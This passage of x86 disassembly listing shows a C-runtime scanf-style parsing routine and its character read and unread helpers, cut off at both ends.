ecx mov edx, [ebp+arg_0] push edx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_4254FC: ; CODE XREF: sub_424CA0+81Dj ; sub_424CA0+83Fj cmp [ebp+var_1D8], 30h jnz loc_42559E mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_42553C movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_425560 loc_42553C: ; CODE XREF: sub_424CA0+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_42559E ; --------------------------------------------------------------------------- loc_425560: ; CODE XREF: sub_424CA0+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_425578 mov [ebp+var_C], 6Fh jmp short loc_42559E ; --------------------------------------------------------------------------- loc_425578: ; CODE XREF: sub_424CA0+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_426140 add esp, 8 mov [ebp+var_1D8], 30h loc_42559E: ; CODE XREF: sub_424CA0+863j ; sub_424CA0+8BEj ... jmp short loc_4255FE ; --------------------------------------------------------------------------- loc_4255A0: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:0042604Ao mov [ebp+var_38], 1 loc_4255A4: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:0042603Ao cmp [ebp+var_1D8], 2Dh jnz short loc_4255B8 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_4255C1 ; --------------------------------------------------------------------------- loc_4255B8: ; CODE XREF: sub_424CA0+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_4255FE loc_4255C1: ; CODE XREF: sub_424CA0+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_4255E3 cmp [ebp+var_1E8], 0 jz short loc_4255E3 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_4255FE ; --------------------------------------------------------------------------- loc_4255E3: ; CODE XREF: sub_424CA0+92Ej ; sub_424CA0+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_4255FE: ; CODE XREF: sub_424CA0:loc_42559Ej ; sub_424CA0+91Fj ... cmp [ebp+var_1DC], 0 jz loc_4257F9 loc_42560B: ; CODE XREF: sub_424CA0:loc_4257D4j movsx eax, [ebp+var_18] test eax, eax jnz loc_4257D9 cmp [ebp+var_C], 78h jnz loc_4256A6 cmp dword_4516A8, 1 jle short loc_425646 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_421E50 add esp, 8 mov [ebp+var_208], eax jmp short loc_425663 ; --------------------------------------------------------------------------- loc_425646: ; CODE XREF: sub_424CA0+988j mov edx, [ebp+var_1D8] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_425663: ; CODE XREF: sub_424CA0+9A4j cmp [ebp+var_208], 0 jz short loc_425699 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42CC70 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_426080 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4256A1 ; --------------------------------------------------------------------------- loc_425699: ; CODE XREF: sub_424CA0+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4256A1: ; CODE XREF: sub_424CA0+9F7j jmp loc_42574D ; --------------------------------------------------------------------------- loc_4256A6: ; CODE XREF: sub_424CA0+97Bj cmp dword_4516A8, 1 jle short loc_4256C8 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_421E50 add esp, 8 mov [ebp+var_20C], eax jmp short loc_4256E2 ; --------------------------------------------------------------------------- loc_4256C8: ; CODE XREF: sub_424CA0+A0Dj mov edx, [ebp+var_1D8] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_4256E2: ; CODE XREF: sub_424CA0+A26j cmp [ebp+var_20C], 0 jz short loc_425745 cmp [ebp+var_C], 6Fh jnz short loc_42571D cmp [ebp+var_1D8], 38h jge short loc_425712 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42CC70 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42571B ; --------------------------------------------------------------------------- loc_425712: ; CODE XREF: sub_424CA0+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42571B: ; CODE XREF: sub_424CA0+A70j jmp short loc_425743 ; --------------------------------------------------------------------------- loc_42571D: ; CODE XREF: sub_424CA0+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42CC70 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_42CC70 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_425743: ; CODE XREF: sub_424CA0:loc_42571Bj jmp short loc_42574D ; --------------------------------------------------------------------------- loc_425745: ; CODE XREF: sub_424CA0+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42574D: ; CODE XREF: sub_424CA0:loc_4256A1j ; sub_424CA0:loc_425743j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_4257B8 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_42579B mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42579B mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4257B6 ; --------------------------------------------------------------------------- loc_42579B: ; CODE XREF: sub_424CA0+ADFj ; sub_424CA0+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_4257B6: ; CODE XREF: sub_424CA0+AF9j jmp short loc_4257D4 ; --------------------------------------------------------------------------- loc_4257B8: ; CODE XREF: sub_424CA0+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_426140 add esp, 8 loc_4257D4: ; CODE XREF: sub_424CA0:loc_4257B6j jmp loc_42560B ; --------------------------------------------------------------------------- loc_4257D9: ; CODE XREF: sub_424CA0+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_4257F4 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_4257F4: ; CODE XREF: sub_424CA0+B3Fj jmp loc_42599D ; --------------------------------------------------------------------------- loc_4257F9: ; CODE XREF: sub_424CA0+965j ; sub_424CA0:loc_425988j movsx edx, [ebp+var_18] test edx, edx jnz loc_42598D cmp [ebp+var_C], 78h jz short loc_425811 cmp [ebp+var_C], 70h jnz short loc_425889 loc_425811: ; CODE XREF: sub_424CA0+B69j cmp dword_4516A8, 1 jle short loc_425836 push 80h mov eax, [ebp+var_1D8] push eax call sub_421E50 add esp, 8 mov [ebp+var_210], eax jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425836: ; CODE XREF: sub_424CA0+B78j mov ecx, [ebp+var_1D8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_425853: ; CODE XREF: sub_424CA0+B94j cmp [ebp+var_210], 0 jz short loc_42587C mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_426080 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_425884 ; --------------------------------------------------------------------------- loc_42587C: ; CODE XREF: sub_424CA0+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_425884: ; CODE XREF: sub_424CA0+BDAj jmp loc_42590B ; --------------------------------------------------------------------------- loc_425889: ; CODE XREF: sub_424CA0+B6Fj cmp dword_4516A8, 1 jle short loc_4258AB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_421E50 add esp, 8 mov [ebp+var_214], eax jmp short loc_4258C5 ; --------------------------------------------------------------------------- loc_4258AB: ; CODE XREF: sub_424CA0+BF0j mov edx, [ebp+var_1D8] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_4258C5: ; CODE XREF: sub_424CA0+C09j cmp [ebp+var_214], 0 jz short loc_425902 cmp [ebp+var_C], 6Fh jnz short loc_4258F2 cmp [ebp+var_1D8], 38h jge short loc_4258E8 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_4258F0 ; --------------------------------------------------------------------------- loc_4258E8: ; CODE XREF: sub_424CA0+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4258F0: ; CODE XREF: sub_424CA0+C46j jmp short loc_425900 ; --------------------------------------------------------------------------- loc_4258F2: ; CODE XREF: sub_424CA0+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_425900: ; CODE XREF: sub_424CA0:loc_4258F0j jmp short loc_42590B ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_424CA0+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42590B: ; CODE XREF: sub_424CA0:loc_425884j ; sub_424CA0:loc_425900j movsx edx, [ebp+var_18] test edx, edx jnz short loc_42596C mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_42594F mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42594F mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_42596A ; --------------------------------------------------------------------------- loc_42594F: ; CODE XREF: sub_424CA0+C93j ; sub_424CA0+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_42596A: ; CODE XREF: sub_424CA0+CADj jmp short loc_425988 ; --------------------------------------------------------------------------- loc_42596C: ; CODE XREF: sub_424CA0+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_426140 add esp, 8 loc_425988: ; CODE XREF: sub_424CA0:loc_42596Aj jmp loc_4257F9 ; --------------------------------------------------------------------------- loc_42598D: ; CODE XREF: sub_424CA0+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_42599D mov eax, [ebp+var_40] neg eax mov [ebp+var_40], eax loc_42599D: ; CODE XREF: sub_424CA0:loc_4257F4j ; sub_424CA0+CF3j cmp [ebp+var_C], 46h jnz short loc_4259AA mov [ebp+var_6C], 0 loc_4259AA: ; CODE XREF: sub_424CA0+D01j cmp [ebp+var_6C], 0 jz short loc_4259F8 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_4259F6 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_4259C1: ; CODE XREF: sub_424CA0+D70j cmp [ebp+var_1DC], 0 jz short loc_4259DA mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_4259F6 ; --------------------------------------------------------------------------- loc_4259DA: ; CODE XREF: sub_424CA0+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_4259EC mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_4259F6 ; --------------------------------------------------------------------------- loc_4259EC: ; CODE XREF: sub_424CA0+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx loc_4259F6: ; CODE XREF: sub_424CA0+D16j ; sub_424CA0+D38j ... jmp short loc_4259FD ; --------------------------------------------------------------------------- loc_4259F8: ; CODE XREF: sub_424CA0+D0Ej jmp loc_425F8A ; --------------------------------------------------------------------------- loc_4259FD: ; CODE XREF: sub_424CA0:loc_4259F6j jmp loc_425E34 ; --------------------------------------------------------------------------- loc_425A02: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:00426046o mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_425A12 jmp short loc_4259C1 ; --------------------------------------------------------------------------- loc_425A12: ; CODE XREF: sub_424CA0+D6Ej jmp loc_425E34 ; --------------------------------------------------------------------------- loc_425A17: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:0042603Eo lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_425A46 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_425A4F ; --------------------------------------------------------------------------- loc_425A46: ; CODE XREF: sub_424CA0+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_425A73 loc_425A4F: ; CODE XREF: sub_424CA0+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_425A73: ; CODE XREF: sub_424CA0+DADj cmp [ebp+var_1E8], 0 jz short loc_425A85 cmp [ebp+var_1C], 15Dh jle short loc_425A8C loc_425A85: ; CODE XREF: sub_424CA0+DDAj mov [ebp+var_1C], 15Dh loc_425A8C: ; CODE XREF: sub_424CA0+DE3j ; sub_424CA0+E82j cmp dword_4516A8, 1 jle short loc_425AAE push 4 mov ecx, [ebp+var_1D8] push ecx call sub_421E50 add esp, 8 mov [ebp+var_218], eax jmp short loc_425AC8 ; --------------------------------------------------------------------------- loc_425AAE: ; CODE XREF: sub_424CA0+DF3j mov edx, [ebp+var_1D8] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_425AC8: ; CODE XREF: sub_424CA0+E0Cj cmp [ebp+var_218], 0 jz short loc_425B27 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_425B27 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax jmp loc_425A8C ; --------------------------------------------------------------------------- loc_425B27: ; CODE XREF: sub_424CA0+E2Fj ; sub_424CA0+E3Fj movsx ecx, byte_4516AC movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_425C24 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_425C24 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, byte_4516AC mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_425B89: ; CODE XREF: sub_424CA0+F7Fj cmp dword_4516A8, 1 jle short loc_425BAB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_421E50 add esp, 8 mov [ebp+var_21C], eax jmp short loc_425BC5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_424CA0+EF0j mov edx, [ebp+var_1D8] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_425BC5: ; CODE XREF: sub_424CA0+F09j cmp [ebp+var_21C], 0 jz short loc_425C24 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_425C24 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax jmp loc_425B89 ; --------------------------------------------------------------------------- loc_425C24: ; CODE XREF: sub_424CA0+E97j ; sub_424CA0+EABj ... cmp [ebp+var_6C], 0 jz loc_425D89 cmp [ebp+var_1D8], 65h jz short loc_425C44 cmp [ebp+var_1D8], 45h jnz loc_425D89 loc_425C44: ; CODE XREF: sub_424CA0+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_425D89 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_425CAE mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_425CB7 ; --------------------------------------------------------------------------- loc_425CAE: ; CODE XREF: sub_424CA0+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_425CED loc_425CB7: ; CODE XREF: sub_424CA0+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_425CD2 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_425CED ; --------------------------------------------------------------------------- loc_425CD2: ; CODE XREF: sub_424CA0+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_425CED: ; CODE XREF: sub_424CA0+1015j ; sub_424CA0+1030j ... cmp dword_4516A8, 1 jle short loc_425D0F push 4 mov edx, [ebp+var_1D8] push edx call sub_421E50 add esp, 8 mov [ebp+var_220], eax jmp short loc_425D2A ; --------------------------------------------------------------------------- loc_425D0F: ; CODE XREF: sub_424CA0+1054j mov eax, [ebp+var_1D8] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_425D2A: ; CODE XREF: sub_424CA0+106Dj cmp [ebp+var_220], 0 jz short loc_425D89 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_425D89 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax jmp loc_425CED ; --------------------------------------------------------------------------- loc_425D89: ; CODE XREF: sub_424CA0+F88j ; sub_424CA0+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_426140 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_425DE3 movsx edx, [ebp+var_70] test edx, edx jnz short loc_425DE1 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call off_451A50 add esp, 0Ch loc_425DE1: ; CODE XREF: sub_424CA0+1111j jmp short loc_425DE8 ; --------------------------------------------------------------------------- loc_425DE3: ; CODE XREF: sub_424CA0+1109j jmp loc_425F8A ; --------------------------------------------------------------------------- loc_425DE8: ; CODE XREF: sub_424CA0:loc_425DE1j jmp short loc_425E34 ; --------------------------------------------------------------------------- loc_425DEA: ; CODE XREF: sub_424CA0+3B0j ; sub_424CA0+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_425E1A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_426140 add esp, 8 jmp loc_425F8A ; --------------------------------------------------------------------------- loc_425E1A: ; CODE XREF: sub_424CA0+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_425E34 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_425E34: ; CODE XREF: sub_424CA0:loc_425496j ; sub_424CA0:loc_4259FDj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_425E60 ; --------------------------------------------------------------------------- loc_425E3F: ; CODE XREF: sub_424CA0+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_426140 add esp, 8 jmp loc_425F8A ; --------------------------------------------------------------------------- loc_425E60: ; CODE XREF: sub_424CA0+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_425F61 ; --------------------------------------------------------------------------- loc_425E6E: ; CODE XREF: sub_424CA0+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_425EC6 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_426140 add esp, 8 jmp loc_425F8A ; --------------------------------------------------------------------------- loc_425EC6: ; CODE XREF: sub_424CA0+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_425F61 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_425F58 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_426140 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_426140 add esp, 8 jmp short loc_425F8A ; --------------------------------------------------------------------------- loc_425F58: ; CODE XREF: sub_424CA0+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_425F61: ; CODE XREF: sub_424CA0+11C9j ; sub_424CA0+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_425F85 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_425F83 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_425F85 loc_425F83: ; CODE XREF: sub_424CA0+12D4j jmp short loc_425F8A ; --------------------------------------------------------------------------- loc_425F85: ; CODE XREF: sub_424CA0+12C8j ; sub_424CA0+12E1j jmp loc_424D17 ; --------------------------------------------------------------------------- loc_425F8A: ; CODE XREF: sub_424CA0+80j ; sub_424CA0+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_425FBE cmp [ebp+var_34], 0 jnz short loc_425FAD movsx edx, [ebp+var_28] test edx, edx jnz short loc_425FAD mov [ebp+var_224], 0FFFFFFFFh jmp short loc_425FB6 ; --------------------------------------------------------------------------- loc_425FAD: ; CODE XREF: sub_424CA0+12F7j ; sub_424CA0+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_425FB6: ; CODE XREF: sub_424CA0+130Bj mov eax, [ebp+var_224] jmp short loc_425FC1 ; --------------------------------------------------------------------------- loc_425FBE: ; CODE XREF: sub_424CA0+12F1j mov eax, [ebp+var_34] loc_425FC1: ; CODE XREF: sub_424CA0+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424CA0 endp ; --------------------------------------------------------------------------- off_425FC8 dd offset loc_424F5A ; DATA XREF: sub_424CA0+239r dd offset loc_424EE0 dd offset loc_424EF8 dd offset loc_424F3C dd offset loc_424EE5 dd offset loc_424F47 dd offset loc_424F4F dd offset loc_424F65 byte_425FE8 db 0 ; DATA XREF: sub_424CA0+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_426036 dd offset loc_42506B ; DATA XREF: sub_424CA0+3C4r dd offset loc_4255A4 dd offset loc_425A17 dd offset loc_42549B dd offset loc_425A02 dd offset loc_4255A0 dd offset loc_4250B1 dd offset loc_4254A2 dd offset loc_4250D6 dd offset loc_425DEA byte_42605E db 0 ; DATA XREF: sub_424CA0+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426080 proc near ; CODE XREF: sub_424CA0+9E9p ; sub_424CA0+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp dword_4516A8, 1 jle short loc_4260A2 push 4 mov eax, [ebp+arg_0] push eax call sub_421E50 add esp, 8 mov [ebp+var_4], eax jmp short loc_4260B7 ; --------------------------------------------------------------------------- loc_4260A2: ; CODE XREF: sub_426080+Dj mov ecx, [ebp+arg_0] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_4260B7: ; CODE XREF: sub_426080+20j cmp [ebp+var_4], 0 jz short loc_4260C5 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_4260D1 ; --------------------------------------------------------------------------- loc_4260C5: ; CODE XREF: sub_426080+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_4260D1: ; CODE XREF: sub_426080+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_426080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260E0 proc near ; CODE XREF: sub_424CA0+370p ; sub_424CA0+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_42611B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42612A ; --------------------------------------------------------------------------- loc_42611B: ; CODE XREF: sub_4260E0+1Aj mov ecx, [ebp+arg_0] push ecx call sub_421F10 add esp, 4 mov [ebp+var_4], eax loc_42612A: ; CODE XREF: sub_4260E0+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4260E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426140 proc near ; CODE XREF: sub_424CA0+ECp ; sub_424CA0+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_426159 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42CD00 add esp, 8 loc_426159: ; CODE XREF: 